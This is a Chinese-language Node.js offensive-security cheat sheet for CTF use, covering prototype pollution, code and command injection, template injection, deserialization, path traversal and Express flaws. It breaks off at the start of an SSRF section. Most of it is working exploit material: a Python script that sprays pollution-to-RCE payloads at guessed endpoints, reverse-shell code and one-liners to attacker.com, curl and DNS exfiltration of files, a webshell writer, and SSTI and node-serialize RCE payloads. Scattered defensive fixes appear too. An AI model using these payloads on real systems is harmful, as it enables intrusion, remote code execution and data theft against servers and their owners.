梳理 Node.js 安全相关的运行时特性、漏洞原理、原型链污染、模板注入、反序列化、VM 沙箱逃逸、WAF 绕过及 CTF 实战技巧。
一、Node.js 运行时特性
1.1 事件循环模型
Node.js 单线程事件循环:
┌─────────────────────────────────────────┐
│ 用户代码执行层 │
└───────────────────┬─────────────────────┘
│
┌───────────────────▼─────────────────────┐
│ Event Loop(事件循环) │
│ timers → pending I/O → idle/prepare │
│ → poll → check → close callbacks │
└───────────────────┬─────────────────────┘
│
┌───────────────────▼─────────────────────┐
│ libuv 线程池(阻塞操作) │
│ fs / crypto / dns / zlib 等 │
└─────────────────────────────────────────┘
安全影响:
① 单线程 → CPU 密集操作(ReDoS / 死循环)会阻塞所有请求
② 动态类型语言 → 类型混淆、弱比较、原型链污染
③ eval / new Function → 字符串直接作为代码执行
④ 原型继承 → 污染 Object.prototype 影响所有对象
⑤ require() 缓存 → 模块劫持与投毒
⑥ 异步 I/O → TOCTOU 竞态条件
1.2 JavaScript 类型系统弱点
// ── 弱类型比较(== vs ===)──
'0' == false // true ← 类型强制转换
'' == false // true
null == undefined // true
[] == false // true
0 == '0' // true
// ── typeof 检测绕过 ──
typeof null // "object"(历史 Bug)
typeof [] // "object"(数组!)
typeof NaN // "number"(NaN 是数字!)
Array.isArray([]) // true(正确检测数组)
// ── NaN 特殊性 ──
NaN === NaN // false(唯一不等于自身的值)
isNaN('abc') // true (字符串转 NaN)
Number.isNaN('abc')// false(只检测真正的 NaN,更安全)
// ── 隐式类型转换 ──
'5' - 3 // 2 (字符串转数字)
'5' + 3 // '53'(数字转字符串)
+[] // 0
+{} // NaN
+null // 0
+undefined// NaN
// ── 认证绕过常见场景 ──
// 用 == 比较密码/token
req.body.token == 'secret'
// 攻击:token=0 (若 secret 以数字 0 开头,可能触发宽松比较)
// 数组参数绕过
req.body.username == 'admin'
// 攻击:username[]=admin(数组 ['admin'] == 'admin' → true)
//大小写特性,toUpperCase() 小写转大写函数。toLowerCase() 大写转小写函数。
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
//有两个奇特的字符"ı"、"ſ",用toUpperCase可以分别转为'I'和'S'
"K".toLowerCase() == 'k'
//K的加粗版,使用toLowerCase可以转为小写的k
1.3 代码执行类
// ══ 直接代码执行 ══
// eval():执行任意字符串代码
eval("require('child_process').execSync('id').toString()")
// new Function():全局作用域执行
const fn = new Function("return require('child_process').execSync('id').toString()")
fn()
// setTimeout / setInterval(字符串参数)
setTimeout("require('child_process').execSync('id')", 0)
// vm 模块(看似沙箱,实则可逃逸)
const vm = require('vm')
vm.runInThisContext("require('child_process').execSync('id').toString()")
vm.runInNewContext("this.constructor.constructor('return process')()", {})
// ══ 动态 require ══
require(userControlledPath) // 加载任意模块
require('../../../etc/passwd') // 路径穿越(报错但可探测)
require('./plugins/' + pluginName) // 目录遍历
1.4 命令执行类
const { exec, execSync, execFile,
spawn, spawnSync, fork } = require('child_process')
// ── exec / execSync:经过 Shell 解析(危险)──
exec(`ping -c 1 ${userInput}`, cb) // 命令注入
const out = execSync(`nslookup ${userInput}`).toString()
// ── spawn:默认不经 Shell(shell:false 安全)──
spawn('ls', [userInput]) // 安全
spawn(`ls ${userInput}`, {shell: true}) // 危险!shell:true 时同 exec
// ── execFile:执行文件,args 数组不经 Shell ──
execFile('/bin/ls', [userInput]) // 安全
// ── fork:创建 Node.js 子进程 ──
fork(userControlledModulePath) // 危险!路径可控
// ── 间接执行 ──
const shell = require('shelljs')
shell.exec(`${userInput}`) // 危险
1.5 文件操作类
const fs = require('fs')
const path = require('path')
// ── 危险:路径未净化直接读写 ──
fs.readFileSync(userInput)
fs.readFile(`/var/www/${userInput}`, cb)
fs.writeFileSync(userInput, content) // 路径可控 → 写 WebShell
// ── 误区:path.join 不防路径穿越!──
path.join('/var/www', '../../../etc/passwd') // → '/etc/passwd'
path.resolve('/var/www', '../../../etc/passwd') // → '/etc/passwd'
// ── 正确防御 ──
const BASE = path.resolve('/var/www/uploads')
const target = path.resolve(BASE, userInput)
if (!target.startsWith(BASE + path.sep)) {
throw new Error('Path traversal detected')
}
1.6 网络请求类(SSRF)
const http = require('http')
const https = require('https')
const axios = require('axios')
const fetch = require('node-fetch')
// ── 用户控制请求目标 → SSRF ──
const url = req.query.url
http.get(url, res => { ... }) // SSRF
axios.get(url) // SSRF
fetch(url) // SSRF
// ── 常见场景 ──
// 图片/资源代理
app.get('/proxy', (req, res) => {
const url = req.query.url // 用户控制
http.get(url, proxyRes => proxyRes.pipe(res)) // SSRF
})
// Webhook 回调
app.post('/webhook', async (req, res) => {
const { callback_url } = req.body
await axios.post(callback_url, data) // SSRF
})
// Puppeteer / Headless Browser
await page.goto(req.body.url) // SSRF → 内网访问
二、原型链污染(Prototype Pollution)
2.1 原型链基础与污染原理
// 每个对象都通过 __proto__ 连接原型链
const obj = {}
obj.__proto__ === Object.prototype // true
// 原型链属性查找
obj.toString // obj 没有 → 查 Object.prototype → 找到!
obj.nonExistent // 未找到 → undefined
// ══ 污染原理 ══
// 若代码允许向 __proto__ 写入属性
// 就会污染所有普通对象!
const a = {}
a.__proto__.isAdmin = true
const b = {}
b.isAdmin // true ← 被污染!
;({}).isAdmin // true (所有新建对象都受影响)
2.2 触发污染的代码模式
// ══ 模式一:递归 merge(最常见)══
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {}
merge(target[key], source[key]) // 递归
} else {
target[key] = source[key] // key = '__proto__' → 污染!
}
}
return target
}
// 攻击
merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'))
// → Object.prototype.isAdmin = true
// → 所有对象 {}.isAdmin === true
// ══ 模式二:路径写入(lodash _.set 类)══
function set(obj, path, value) {
const keys = path.split('.')
let cur = obj
for (let i = 0; i < keys.length - 1; i++) {
if (!cur[keys[i]]) cur[keys[i]] = {}
cur = cur[keys[i]] // keys[i] = '__proto__' → 危险!
}
cur[keys[keys.length - 1]] = value
}
set({}, '__proto__.isAdmin', true) // 污染
set({}, 'constructor.prototype.isAdmin', true) // 等价污染
// ══ 模式三:clone / assign ══
function deepClone(obj) {
const result = {}
for (const key in obj) { // for..in 遍历原型属性!
result[key] = typeof obj[key] === 'object'
? deepClone(obj[key]) : obj[key] // 递归时 key 可为 __proto__
}
return result
}
// ══ 模式四:JSON 解析后直接 merge ══
const userConfig = JSON.parse(req.body) // 用户控制的 JSON
merge(appConfig, userConfig) // 触发污染
2.3 常见漏洞库与 CVE
| 库名 |
受影响版本 |
CVE |
污染入口 |
lodash |
< 4.17.19 |
CVE-2020-8203 |
_.merge / _.set / _.zipObjectDeep |
lodash |
< 4.17.15 |
CVE-2019-10744 |
_.defaultsDeep |
jquery |
< 3.4.0 |
CVE-2019-11358 |
$.extend(true, ...) |
hoek |
< 5.0.3 |
CVE-2018-3728 |
hoek.merge |
ejs |
< 3.1.7 |
CVE-2022-29078 |
outputFunctionName 选项 |
handlebars |
< 4.7.7 |
CVE-2021-23369 |
compile + Prototype |
set-value |
< 2.0.1 |
CVE-2019-10747 |
set(obj, path, val) |
minimist |
< 1.2.6 |
CVE-2021-44906 |
参数解析 |
qs |
< 6.7.3 |
CVE-2022-24999 |
查询字符串解析 |
flat |
< 5.0.1 |
— |
unflatten |
2.4 利用链:污染 → RCE
利用链一:EJS 模板 outputFunctionName(CVE-2022-29078)
// 原理:EJS render 时从 options 读取 outputFunctionName
// 若 Object.prototype.outputFunctionName 被污染
// 则该字符串会被插入生成的 JS 代码中执行
// 第一步:触发污染(通过 merge 端点)
// POST /api/merge
// Content-Type: application/json
{
"__proto__": {
"outputFunctionName": "x; process.mainModule.require('child_process').execSync('id > /tmp/pwned'); //"
}
}
// 第二步:任意触发 ejs.render()(即使模板内容无害)
// GET /any-page-that-renders-ejs
// → EJS 渲染时执行注入的代码 → RCE!
// 完整 PoC
const ejs = require('ejs')
// 模拟污染
Object.prototype.outputFunctionName =
"x; require('child_process').execSync('cat /flag > /tmp/f'); //"
// 渲染任意模板时触发
ejs.render('<p>hello</p>', {}) // → RCE
利用链二:child_process shell 选项污染
// 原理:execSync 等函数接受 options 对象
// 若 Object.prototype.shell 被污染为恶意值
// 命令将通过该 shell 执行,注入恶意命令
Object.prototype.shell = 'bash'
Object.prototype.env = {
BASH_ENV: '/tmp/evil.sh' // Bash 启动时加载该文件
}
// 或
Object.prototype.shell =
'/bin/bash -c "id>/tmp/p" #' // 整个 shell 路径成为命令
const { execSync } = require('child_process')
execSync('ls', {}) // options 继承了污染的 shell → RCE
利用链三:NODE_OPTIONS 环境变量注入
// 污染 env 对象中的 NODE_OPTIONS
// 子进程启动时 NODE_OPTIONS 会被传递
Object.prototype.env = {
...process.env,
NODE_OPTIONS: '--require /tmp/evil.js'
}
// 下一次 spawn/fork 子进程时加载 /tmp/evil.js → RCE
利用链四:Lodash template variable 选项
// CVE-2021-23337
// 污染 variable 选项 → Lodash template 代码注入
Object.prototype.variable =
"x; process.mainModule.require('child_process').execSync('id'); //"
const _ = require('lodash')
_.template('hello')() // → RCE
2.5 利用脚本
#!/usr/bin/env python3
"""
原型链污染利用脚本
支持多种污染路径与利用链自动测试
"""
import requests
import json
TARGET = "http://target.com"
BURP_CB = "http://your-collaborator.burpcollaborator.net"
# ── 各类污染 Payload ──
PAYLOADS = [
# 权限绕过
{"__proto__": {"isAdmin": True}},
{"__proto__": {"role": "admin"}},
{"constructor": {"prototype": {"isAdmin": True}}},
# EJS RCE(CVE-2022-29078)
{"__proto__": {
"outputFunctionName":
f"x; require('child_process').execSync('curl {BURP_CB}/?p=ejs'); //"
}},
# Lodash template RCE(CVE-2021-23337)
{"__proto__": {
"variable":
f"x; require('child_process').execSync('curl {BURP_CB}/?p=lodash'); //"
}},
# shell 选项 RCE
{"__proto__": {
"shell": f"/bin/bash -c 'curl {BURP_CB}/?p=shell' #"
}},
# NODE_OPTIONS 注入
{"__proto__": {
"env": {"NODE_OPTIONS": "--require /tmp/evil.js"}
}},
]
def try_merge_endpoint(path: str, payload: dict):
"""尝试通过 merge 端点触发污染"""
try:
r = requests.post(
TARGET + path,
json=payload,
timeout=8
)
return r.status_code, r.text[:200]
except Exception as e:
return 0, str(e)
# 测试常见 merge 端点
ENDPOINTS = [
"/api/merge", "/api/update", "/api/config",
"/user/update", "/settings/save", "/profile",
]
for endpoint in ENDPOINTS:
for i, payload in enumerate(PAYLOADS):
status, body = try_merge_endpoint(endpoint, payload)
if status in (200, 201, 204):
print(f"[+] 可能成功 {endpoint} Payload[{i}]")
print(f" 状态: {status} 响应: {body[:80]}")
2.6 检测与 PoC 验证
// ── 检测是否污染成功 ──
function checkPolluted() {
const props = ['isAdmin', 'role', 'outputFunctionName',
'shell', 'variable', 'NODE_OPTIONS']
for (const p of props) {
if (({}) [p] !== undefined) {
console.warn(`[!] 原型被污染:Object.prototype.${p} = ${ ({}) [p]}`)
}
}
}
// ── 安全的 merge 实现 ──
function safeMerge(target, source) {
for (const key of Object.keys(source)) { // Object.keys 不遍历原型链
if (key === '__proto__'
|| key === 'constructor'
|| key === 'prototype') continue // 跳过危险键
if (Object.prototype.hasOwnProperty.call(source, key)
&& typeof source[key] === 'object'
&& source[key] !== null) {
if (!Object.hasOwn(target, key)) target[key] = {}
safeMerge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
// ── 彻底防护:冻结 Object.prototype ──
Object.freeze(Object.prototype) // 任何对 Object.prototype 的写入都静默失败
Object.freeze(Object)
三、node.js注入
3.1 eval 注入
// ── 直接 eval 注入 ──
app.post('/calc', (req, res) => {
const expr = req.body.expr
res.json({ result: eval(expr) }) // 危险!
})
// ── 攻击 Payload ──
// 读取文件
require('fs').readFileSync('/etc/passwd').toString()
require('fs').readFileSync('/flag').toString()
// 执行命令
require('child_process').execSync('id').toString()
// 读取环境变量(含密钥)
JSON.stringify(process.env)
// 列目录
require('fs').readdirSync('/').join('\n')
// 写 WebShell
require('fs').writeFileSync('/var/www/html/shell.js',
"require('http').createServer((req,res)=>{res.end(require('child_process').execSync(require('url').parse(req.url,true).query.cmd).toString())}).listen(8888)")
// ── 模板字符串二次注入 ──
app.get('/greet', (req, res) => {
const name = req.query.name
// 危险:模板字符串二次 eval
res.send(eval(`\`Hello, ${name}!\``))
})
// 攻击:?name=${require('child_process').execSync('id')}
// 攻击:?name=${process.env.SECRET_KEY}
3.2 new Function 注入
// ── new Function 执行(全局作用域)──
app.post('/sandbox', (req, res) => {
const code = req.body.code
const fn = new Function('input', code) // 危险!
res.json({ result: fn(42) })
})
// ── 基础 Payload ──
return require('child_process').execSync('id').toString()
return require('fs').readFileSync('/flag').toString()
return JSON.stringify(process.env)
// ── 绕过关键字过滤 ──
// 过滤了 require / process 等关键字时
// 方法一:通过 global 全局对象
return global['process'].mainModule['require']('child_process').execSync('id').toString()
// 方法二:通过 constructor 链
return this.constructor.constructor('return process')()
.mainModule.require('child_process').execSync('id').toString()
// 方法三:字符串拼接绕过关键字检测
const r = 'req' + 'uire'
return eval(r)('child_process').execSync('id').toString()
// 方法四:charCode 构造
return eval(String.fromCharCode(114,101,113,117,105,114,101))(
'child_process').execSync('id').toString()
// String.fromCharCode(114,101,113,117,105,114,101) = 'require'
// 方法五:Base64 解码执行
return eval(Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdpZCcp','base64').toString())
// base64 = require('child_process').execSync('id')
// 方法六:Proxy 包装绕过属性访问检测
const handler = { get: (t, p) => Reflect.get(t, p) }
const proc = new Proxy(process, handler)
return proc.mainModule.require('child_process').execSync('id').toString()
3.3 动态 require 路径注入
// ── 路径可控 ──
app.get('/plugin', (req, res) => {
const name = req.query.name
const mod = require(`./plugins/${name}`) // 危险!
res.json(mod.run())
})
// ── 利用路径穿越读取敏感文件(以 JSON 形式)──
// ?name=../../package → 泄露 package.json(版本、依赖)
// ?name=../../config/database → 泄露数据库配置
// ?name=../../../proc/self/environ → 泄露环境变量
// ── 利用 node_modules 内已有模块构造利用链 ──
// ?name=../../node_modules/child_process → 不行(内置模块)
// 但若应用目录可写,可以:
// 1. 上传 evil.js 到 uploads 目录
// 2. ?name=../../uploads/evil → 加载恶意模块
3.4 exec / execSync 注入
const { execSync } = require('child_process')
// ── 漏洞代码 ──
app.get('/ping', (req, res) => {
const host = req.query.host
const result = execSync(`ping -c 1 ${host}`).toString() // 危险!
res.send(result)
})
// ── 利用 Payload ──
// 基础注入
?host=127.0.0.1;id
?host=127.0.0.1&&cat /etc/passwd
?host=127.0.0.1|id
?host=127.0.0.1||id
?host=127.0.0.1`id`
?host=127.0.0.1$(id)
?host=127.0.0.1%0aid // 换行符
// 读取 flag
?host=127.0.0.1;cat /flag
?host=127.0.0.1;cat${IFS}/flag // 空格过滤绕过
// 反弹 Shell
?host=127.0.0.1;bash -i >%26 /dev/tcp/attacker.com/4444 0>%261
// 外带数据(无回显时)
?host=127.0.0.1;curl http://attacker.com/?d=$(cat /flag|base64)
?host=127.0.0.1;curl http://`cat /flag | base64`.attacker.com/
3.5 spawn shell:true 注入
const { spawn } = require('child_process')
// ── 危险:shell:true 时等同于 exec ──
app.post('/exec', (req, res) => {
const { cmd, args } = req.body
const proc = spawn(cmd, args, { shell: true }) // 危险!
let out = ''
proc.stdout.on('data', d => out += d)
proc.on('close', () => res.send(out))
})
// 攻击:args 中注入 shell 元字符
// { "cmd": "ls", "args": ["/ && cat /flag"] }
// 因 shell:true → args 经 shell 解析 → 命令注入
// ── 安全用法(不使用 shell:true)──
spawn('/bin/ls', ['-la', userInput], { shell: false }) // 安全
3.6 Node.js 原生反弹 Shell
// ── 方法一:net 模块(最稳定)──
(function(){
const net = require('net')
const cp = require('child_process')
const sh = cp.spawn('/bin/sh', [])
const c = new net.Socket()
c.connect(4444, 'attacker.com', () => {
c.pipe(sh.stdin)
sh.stdout.pipe(c)
sh.stderr.pipe(c)
})
sh.on('close', () => c.destroy())
})()
// ── 方法二:一行精简版 ──
require('net').createConnection(4444,'attacker.com').on('connect',function(){const s=require('child_process').spawn('/bin/sh',[]);this.pipe(s.stdin);s.stdout.pipe(this);s.stderr.pipe(this)})
// ── 方法三:无 shell(绕过 disable_functions 类场景)──
// 直接通过 Node.js 读取文件,不调用系统命令
require('fs').readFileSync('/flag').toString()
require('fs').readdirSync('/').toString()
// ── 方法四:DNS 外带(绕过 HTTP 出站过滤)──
const dns = require('dns')
const flag = require('fs').readFileSync('/flag').toString().trim()
// 分段外带(DNS 标签 63 字符限制)
const b64 = Buffer.from(flag).toString('base64').replace(/\+/g,'_').replace(/\//g,'-')
for (let i = 0; i < b64.length; i += 50) {
setTimeout(() => {
dns.resolve(`${i}.${b64.slice(i, i+50)}.x.attacker.com`, () => {})
}, i * 200)
}
// ── 方法五:HTTP 外带 ──
const http = require('http')
const data = encodeURIComponent(require('fs').readFileSync('/flag').toString())
http.get(`http://attacker.com/?flag=${data}`)
四、模板引擎注入(SSTI)
4.1 EJS 注入
const ejs = require('ejs')
// ── 漏洞模式一:模板字符串可控 ──
app.get('/render', (req, res) => {
const tpl = req.query.tpl // 用户控制模板内容
res.send(ejs.render(tpl, {})) // 危险!
})
// 攻击 Payload
// tpl = <%= require('child_process').execSync('id') %>
// tpl = <% global.process.mainModule.require('child_process').exec('bash -i>&/dev/tcp/attacker/4444 0>&1') %>
// ── 漏洞模式二:变量名可控 + 原始输出 ──
app.get('/page', (req, res) => {
res.render('template', { [req.query.key]: req.query.val }) // key 可控时危险
})
// EJS 模板中若有 <%- key %> 语法(原始输出)→ XSS/SSTI
// ── EJS 模板语法速查 ──
// <%= expr %> → HTML 转义输出(相对安全)
// <%- expr %> → 原始 HTML 输出(XSS 风险)
// <% code %> → 执行 JS 代码(RCE 风险)
// <%# ... %> → 注释
// ── 原型链污染 → EJS RCE(CVE-2022-29078)──
// 见第四章利用链一
4.2 Pug(Jade)注入
const pug = require('pug')
// ── 漏洞:模板内容拼接用户输入 ──
app.get('/page', (req, res) => {
const title = req.query.title
const template = `
h1 ${title}
p Welcome to the site
`
res.send(pug.render(template)) // 危险!
})
// ── Pug 注入 Payload ──
// 注入 Pug 语法(换行符非常关键)
// 注入执行代码(- 开头的行执行 JS)
title = "\n- var x = require('child_process')\n= x.execSync('id').toString()"
// 注入读取文件
title = "\n- var f = require('fs').readFileSync('/flag').toString()\n= f"
// 完整 URL 参数
// ?title=%0a-%20var%20x%20%3d%20require('child_process')%0a%3d%20x.execSync('id').toString()
// ── Pug 语法速查 ──
// #{expr} → HTML 转义输出
// !{expr} → 原始输出(XSS 风险)
// - code → 执行 JS 代码(RCE 风险!)
// = expr → 转义输出
// != expr → 原始输出
4.3 Handlebars 注入
const Handlebars = require('handlebars')
// ── 漏洞:动态编译用户提供的模板 ──
app.get('/render', (req, res) => {
const tpl = req.query.tpl // 用户控制
const fn = Handlebars.compile(tpl) // 危险!
res.send(fn({ user: req.user }))
})
// ── Handlebars SSTI Payload ──
// {{constructor.constructor "return process.mainModule.require('child_process').execSync('id').toString()"}}
// 使用 with 和 lookup 辅助函数(旧版本)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id').toString()"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
4.4 Nunjucks 注入
const nunjucks = require('nunjucks')
// ── 漏洞:renderString 使用用户输入 ──
app.post('/render', (req, res) => {
const result = nunjucks.renderString(req.body.template, {}) // 危险!
res.send(result)
})
// ── Nunjucks Payload ──
{{ range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")() }}
// 通过 cycler / joiner 等内置函数访问 constructor
{{ cycler.__init__.__globals__.os.popen("id").read() }} // Python SSTI 思路
// Nunjucks 中:
{{ "".__proto__.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString() }}
4.5 各模板引擎 Payload 速查
══ EJS ══
直接执行:
<%= require('child_process').execSync('id') %>
<% global.process.mainModule.require('child_process').exec('id') %>
原型链污染(CVE-2022-29078):
{"__proto__":{"outputFunctionName":"x;require('child_process').execSync('cat /flag');//"}}
══ Pug ══
\n- var x=require('child_process')\n= x.execSync('id').toString()
══ Handlebars ══
{{constructor.constructor "return require('child_process').execSync('id').toString()"}}
══ Nunjucks ══
{{ range.constructor("return require('child_process').execSync('id').toString()")() }}
══ Lodash template ══
<%= global.process.mainModule.require('child_process').execSync('id') %>
污染:{"__proto__":{"variable":"x;require('child_process').execSync('id');//"}}
══ doT ══
{{= global.process.mainModule.require('child_process').execSync('id') }}
══ Mustache ══
本身无代码执行,但可结合 XSS 或原型链污染利用
五、反序列化漏洞
5.1 node-serialize 反序列化 RCE
const serialize = require('node-serialize')
// ── 漏洞代码 ──
app.post('/profile', (req, res) => {
const data = Buffer.from(req.cookies.profile, 'base64').toString()
const user = serialize.unserialize(data) // 危险!
res.json(user)
})
// ── 序列化格式说明 ──
// 带函数的序列化格式(关键标记:_$$ND_FUNC$$_)
// {"key":"_$$ND_FUNC$$_function(){return 1;}"}
// 反序列化时将还原为 Function 对象,但不自动执行
// ── IIFE 触发执行 ──
// 在函数末尾加 () → 立即调用函数表达式(IIFE)
// {"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id')}()"}
// ^^
// 末尾 () 使函数立即执行!
// ── 生成攻击 Payload ──
const serialize = require('node-serialize')
// 构造包含 IIFE 的序列化对象
function genPayload(cmd) {
const raw = serialize.serialize({
rce: function() { require('child_process').execSync(cmd) }
})
// 在函数体结束 } 前插入 ()
return raw.replace(
/("rce":"_\$\$ND_FUNC\$\$_function\(\)\{[^}]+\})/,
'$1()'
)
}
const b64 = Buffer.from(genPayload('cat /flag')).toString('base64')
console.log(`Cookie: profile=${b64}`)
// ── 手动构造 Payload ──
const manualPayload = JSON.stringify({
"rce": "_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/?f='+require('fs').readFileSync('/flag').toString())}()"
})
const b64manual = Buffer.from(manualPayload).toString('base64')
5.2 js-yaml 反序列化
const yaml = require('js-yaml')
// ── 危险:旧版本 yaml.load 默认 FULL_SCHEMA ──
app.post('/config', (req, res) => {
const config = yaml.load(req.body.yaml) // js-yaml < 4.0.0 危险!
res.json(config)
})
// ── YAML 注入 Payload(js-yaml < 4.0.0)──
// 使用 !!js/function 类型
const payload1 = `
!!js/function >
function(){
return require('child_process').execSync('id').toString()
}()
`
// 使用 !!js/eval
const payload2 = `
eval: !!js/eval "require('child_process').execSync('id').toString()"
`
// ── 版本检查 ──
// js-yaml >= 4.0.0:默认 CORE_SCHEMA,不支持 !!js/*,安全
// js-yaml < 4.0.0:默认 FULL_SCHEMA,支持 !!js/*,危险!
// ── 安全做法 ──
yaml.load(input) // js-yaml 4.x 默认安全
// 更严格:
yaml.load(input, { schema: yaml.FAILSAFE_SCHEMA })
5.3 JSON.parse 相关攻击
// ── JSON 原型污染 ──
// JSON.parse 本身不会触发原型链污染(__proto__ 作为键名不影响原型)
// 但若 parse 结果传入 merge 函数 → 触发污染
const obj = JSON.parse('{"__proto__":{"isAdmin":true}}')
// obj.__proto__ 仍然是 Object.prototype(JSON.parse 是安全的)
// 但 obj 有一个名为 "__proto__" 的自有属性!
// → 传入 merge(target, obj) → 污染!
// ── __proto__ 作为键名的特殊行为 ──
const a = {}
a['__proto__'] = { polluted: true } // 直接赋值 → 污染!
// vs
Object.defineProperty(a, '__proto__', { value: {}, writable: true }) // 定义属性
// 两种方式行为不同
// ── JSON.parse 后的原型检查 ──
function safeParseJSON(str) {
const obj = JSON.parse(str)
if (typeof obj === 'object' && obj !== null) {
// 检查是否含危险键
if ('__proto__' in obj || 'constructor' in obj) {
throw new Error('Prototype pollution detected in JSON')
}
}
return obj
}
六、路径穿越与任意文件读取
6.1 常见漏洞模式
const path = require('path')
const fs = require('fs')
// ── 直接拼接(最危险)──
app.get('/file', (req, res) => {
const name = req.query.name
res.send(fs.readFileSync('/var/www/uploads/' + name)) // 危险!
})
// ?name=../../../etc/passwd → 读取系统文件
// ── path.join 不防穿越 ──
app.get('/file', (req, res) => {
const name = req.query.name
const fp = path.join('/var/www/uploads', name) // 仍危险!
res.sendFile(fp)
})
// path.join('/var/www/uploads', '../../../etc/passwd') → '/etc/passwd'
// ── 路径穿越变体 ──
// URL 编码(express 自动解码)
?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
// 双重 URL 编码(若有二次解码)
?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd
// Unicode 编码
?name=%c0%ae%c0%ae%2fetc%2fpasswd
// 绕过 ../ 过滤(替换过滤但不循环)
?name=....//....//....//etc/passwd // 过滤一次 ../ 后变成 ../
// 绝对路径(某些场景)
?name=/etc/passwd
?name=/flag
6.2 值得读取的敏感文件
# ── Linux 系统文件 ──
/etc/passwd # 用户列表
/etc/shadow # 密码哈希(需 root)
/etc/hosts # 内网主机映射
/proc/self/environ # 当前进程环境变量(含密钥)
/proc/self/cmdline # 当前进程启动命令
/proc/self/fd/0-9 # 文件描述符
/proc/self/maps # 内存映射(泄露地址)
/proc/net/tcp # 内网开放端口(十六进制)
# ── Node.js 应用文件 ──
/proc/self/environ # 环境变量:DATABASE_URL / SECRET_KEY 等
package.json # 依赖版本 → 查 CVE
.env # 环境变量配置文件
config/database.js # 数据库配置
config/secrets.js # 密钥配置
app.js / index.js # 应用源码
server.js # 服务器入口
# ── 常见路径穿越 Payload(CTF)──
../../../../flag
../../../../flag.txt
../../../../proc/self/environ
../../../../proc/self/fd/10
6.3 express.static 与 sendFile 漏洞
// ── dotfiles 配置不当 ──
app.use('/uploads', express.static('./uploads', {
dotfiles: 'allow' // 危险!允许访问 . 开头的文件
}))
// 攻击:GET /uploads/.env → 泄露环境变量
// 攻击:GET /uploads/.git/config → Git 配置
// ── sendFile root 选项不当 ──
app.get('/download', (req, res) => {
const file = req.query.file
res.sendFile(file, { root: __dirname })
// file = '../../../etc/passwd' → 路径穿越
})
// ── 正确防御 ──
app.get('/download', (req, res) => {
const file = req.query.file
const BASE = path.resolve(__dirname, 'uploads')
const target = path.resolve(BASE, file)
if (!target.startsWith(BASE + path.sep)) {
return res.status(403).send('Forbidden')
}
res.sendFile(target)
})
七、Express 框架安全
7.1 路由与中间件漏洞
// ── 中间件缺少 return 导致绕过 ──
app.use((req, res, next) => {
if (req.path.startsWith('/admin')) {
if (!req.session.isAdmin) {
res.status(403).send('Forbidden')
// 危险!忘记 return → 继续执行 next()
}
}
next()
})
// 正确写法
app.use((req, res, next) => {
if (req.path.startsWith('/admin')) {
if (!req.session.isAdmin) {
return res.status(403).send('Forbidden') // ← return 很关键!
}
}
next()
})
// ── 路由大小写 / 尾斜杠绕过 ──
app.get('/admin', adminMiddleware, handler)
// 攻击:GET /Admin (某些配置大小写不敏感)
// 攻击:GET /admin/ (尾斜杠可能绕过某些中间件)
// 攻击:GET /admin%0a(换行符)
// ── 请求体类型混淆 ──
app.post('/login', (req, res) => {
const { username } = req.body
// 危险:username 可能是数组或对象
if (username === 'admin') { ... } // 数组不等于字符串(但 == 比较可绕过)
})
// 攻击:{"username": ["admin"]}
// ["admin"] === "admin" → false(安全)
// ["admin"] == "admin" → true(危险!)
7.2 常见配置问题
// ── CORS 配置错误 ──
app.use(cors({
origin: (origin, cb) => cb(null, true), // 危险!反射 Origin
credentials: true // + credentials → CORS 漏洞
}))
// 攻击者可以从任意域发起跨域带凭据请求
// ── 安全 CORS 配置 ──
const allowedOrigins = ['https://app.example.com']
app.use(cors({
origin: (origin, cb) => {
if (!origin || allowedOrigins.includes(origin)) cb(null, true)
else cb(new Error('Not allowed by CORS'))
},
credentials: true
}))
// ── 缺少安全响应头 ──
// 危险:没有 helmet
app.get('/page', (req, res) => res.send('<html>...</html>'))
// 缺少 X-Frame-Options / X-Content-Type-Options / CSP 等
// ── 使用 helmet ──
const helmet = require('helmet')
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}
}))
app.disable('x-powered-by') // 不暴露 Express 版本信息
// ── body 大小限制 ──
// 危险:limit 过大 → DDoS
app.use(express.json({ limit: '50mb' }))
// 安全:合理限制
app.use(express.json({ limit: '100kb' }))
// ── Session 配置问题 ──
// 危险:弱密钥 + 登录后不重新生成 Session
app.use(session({ secret: 'secret' }))
app.post('/login', (req, res) => {
req.session.user = user // 没有 regenerate → Session 固定
// 正确做法
req.session.regenerate(err => {
req.session.user = user
res.json({ ok: true })
})
})
7.3 文件上传漏洞
const multer = require('multer')
// ── 危险:不验证文件类型 / 不随机化文件名 ──
const upload = multer({ dest: '/tmp/' })
app.post('/upload', upload.single('file'), (req, res) => {
// 危险:使用 originalname → 路径穿越 + 任意扩展名
const dest = path.join('./public', req.file.originalname)
fs.renameSync(req.file.path, dest)
// originalname = "../../app.js" → 覆盖源码!
// originalname = "shell.ejs" → 写模板文件触发 SSTI
})
// ── 安全的文件上传 ──
const crypto = require('crypto')
const storage = multer.diskStorage({
destination: '/tmp/uploads',
filename: (req, file, cb) => {
// 随机文件名,仅保留合法扩展名
const ext = path.extname(file.originalname).toLowerCase()
cb(null, crypto.randomUUID() + ext)
}
})
const upload = multer({
storage,
limits: { fileSize: 5 * 1024 * 1024 }, // 5MB
fileFilter: (req, file, cb) => {
const allowed = new Set(['image/jpeg', 'image/png', 'image/gif'])
// 检查 MIME 类型(但仅靠此不够,还需检查文件头)
cb(null, allowed.has(file.mimetype))
}
})
八、SSRF 利用
8.1 Node.js SSRF 场景
const axios = require('axios')
const http = require('http')
